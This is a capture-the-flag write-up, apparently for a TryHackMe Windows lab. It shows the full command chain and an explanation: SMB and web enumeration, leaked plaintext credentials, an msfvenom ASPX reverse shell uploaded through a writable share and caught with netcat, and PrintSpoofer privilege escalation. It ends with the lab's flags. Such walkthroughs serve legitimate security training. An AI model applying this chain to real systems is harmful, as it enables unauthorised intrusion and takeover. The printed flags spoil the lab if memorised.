nmap -T4 -p- -A 10.10.114.208
enum4linux 10.10.114.208
smbclient -L 10.10.114.208
smbclient //10.10.114.208/nt4wrksv
#accessing share
get passwords.txt
exit
#exit smbclient share
evil-winrm -i 10.10.114.208 -u Bob -p '!P@$$W0rD!123'
#attempting to get access for both users
#other tools such as psexec.py also don't work
gobuster dir -u http://10.10.114.208 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.10.114.208:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.104.144 LPORT=4444 -f aspx -o shell.aspx
smbclient //10.10.66.36/nt4wrksv
put shell.aspx
nc -nvlp 4444
#after checking payload on port 49663, we get access
#remote access
whoami
#iis apppool\defaultapppool
whoami /priv
#in attacker machine
#upload PrintSpoofer.exe to share
#in remote shell
cd C:\inetpub\wwwroot\nt4wrksv
#to access files on share
dir
PrintSpoofer.exe -i -c cmd
#gives root access
Nmap scan shows us that there are websites hosted on ports 80 and 49663; and the machine is running Windows Server 2016.
We can start enumeration of the machine.
smbclient shows a share called nt4wrksv; connecting to it gives us a file with user passwords encoded.
When decoded from base64, it gives us credentials for two users - Bob:!P@$$W0rD!123 and Bill:Juw4nnaM4n420696969!$$$
We can try using these two credentials for logging in.
However, both these credentials don't work, so we need to try enumeration somewhere else.
We can start enumerating the websites now.
The one on port 80 does not have any hidden directories, while the one on port 49963 has a directory /nt4wrksv.
This has the same name as the share we found earlier, and if we check /nt4wrksv/passwords.txt, we get the file contents.
This means if we have write permissions on the /nt4wrksv share, we can upload a malicious file and leverage that to get access.
As IIS requires .aspx shells, we can create a payload with msfvenom. Then, we need to add the payload file in the share.
After the payload has been added and listener has been setup, we can visit the website directory and check the file uploaded.
This gives us shell access.
User flag can be found in Bob's Desktop.
The privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege and SeCreateGlobalPrivilege are enabled.
The enabled SeImpersonatePrivilege can be exploited using PrintSpoofer.exe.
We can upload PrintSpoofer.exe to the share, and then access it through the reverse shell.
After navigating to the directory with the share files, we just need to run the executable.
This gives us root access; root flag can be found in Admin's Desktop.
1. User Flag - THM{fdk4ka34vk346ksxfr21tg789ktf45}
2. Root Flag - THM{1fk5kf469devly1gl320zafgl345pv}